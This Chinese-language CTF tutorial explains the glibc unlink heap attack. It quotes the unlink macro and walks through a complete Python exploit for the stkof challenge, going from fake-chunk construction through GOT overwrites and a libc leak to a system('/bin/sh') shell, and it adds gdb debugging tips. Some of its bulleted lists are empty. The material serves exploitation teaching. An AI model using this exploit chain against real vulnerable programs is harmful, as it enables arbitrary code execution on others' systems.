在glibc的内存管理机制中,unlink是最基础也最危险的堆操作之一。简单来说,unlink就是从一个双向链表中移除某个节点的过程。想象一下你手里拿着一串珍珠项链,当你想取下其中某颗珍珠时,需要把前后两颗珍珠重新连接起来——这就是unlink在做的事情。
在glibc 2.23源码中,unlink宏的定义是这样的:
c复制#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
// 处理large bin的额外指针...
}
}
这个看似简单的操作却暗藏玄机。当某个chunk被释放时,glibc会检查它是否可以与相邻的空闲chunk合并。如果可以,就会通过unlink操作将这个chunk从空闲链表中取出,与相邻chunk合并后再放回链表。正是这个合并过程中的安全检查漏洞,给了攻击者可乘之机。
unlink攻击的核心在于构造一个精心设计的fake chunk,让它能够通过glibc的安全检查。这些检查主要包括:
要绕过这些检查,我们需要:
具体来说,假设我们在地址P处构造了一个fake chunk,那么需要满足:
python复制fake_chunk = p64(0) + p64(0x20) # prev_size和size
fake_chunk += p64(P - 0x18) # fd
fake_chunk += p64(P - 0x10) # bk
fake_chunk += p64(0x20) # next chunk的prev_size
这种构造方式利用了glibc检查时的指针运算特性。当unlink执行FD->bk时,实际访问的是(P->fd + 0x18)处的值;BK->fd访问的是(P->bk + 0x10)处的值。通过精心设置fd和bk,我们可以让这些检查都通过。
让我们以2014年HITCON CTF的stkof题目为例,一步步演示unlink攻击的实际应用。这个程序实现了简单的堆块管理功能:
程序存在典型的堆溢出漏洞。在编辑功能中,可以无限制地向chunk写入数据,导致可以覆盖相邻chunk的元数据:
c复制// 伪代码
void edit_chunk() {
int idx = read_int();
size_t size = read_int();
char* chunk = global_array[idx];
fread(chunk, 1, size, stdin); // 堆溢出!
}
完整的攻击流程分为以下几个阶段:
首先我们分配三个chunk:
python复制alloc(0x100) # chunk1
alloc(0x30) # chunk2
alloc(0x80) # chunk3
然后在chunk2中构造fake chunk:
python复制head = 0x602140 # 全局数组地址
payload = p64(0) + p64(0x20) # prev_size和size
payload += p64(head - 0x18) # fd
payload += p64(head - 0x10) # bk
payload += p64(0x20) # next chunk的prev_size
payload = payload.ljust(0x30, b'a') # 填充chunk2
payload += p64(0x30) + p64(0x90) # 修改chunk3的prev_size和size
edit(2, payload)
释放chunk3触发unlink:
python复制free(3)
此时全局数组会被修改,我们可以利用它来修改GOT表:
python复制# 将全局数组项改为GOT表地址
payload = b'a'*8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, payload)
# 将free@got改为puts@plt
edit(0, p64(elf.plt['puts']))
# 泄露puts地址
free(1)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
最后计算system地址并覆盖atoi的GOT表:
python复制libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
# 将atoi@got改为system
edit(2, p64(system_addr))
# 触发system("/bin/sh")
p.sendline(b'/bin/sh\x00')
现代glibc版本已经对unlink攻击增加了更多检查,比如:
但在某些特殊情况下,unlink攻击仍然可能有效。比如当程序使用较旧版本的glibc,或者存在其他漏洞可以绕过这些保护时。
对于CTF选手来说,理解unlink的原理不仅是为了攻击,更是为了深入理解堆管理的机制。在实际漏洞利用中,unlink常与其他技术如fastbin attack、house of系列等技术结合使用。
调试堆漏洞需要一些特殊技巧:
bash复制# 在gdb中查看堆
heap chunks
heap bins
bash复制b _int_free
b unlink
python复制# 使用gdb的dump命令
dump binary memory before.bin 0x0000000000602140 0x0000000000602200
python复制import gdb
class MyBreakpoint(gdb.Breakpoint):
def stop(self):
gdb.execute("heap bins")
return False
理解unlink攻击需要结合源码分析和动态调试。建议读者在实际操作时,一边调试一边对照glibc源码,观察每一步操作对内存的影响。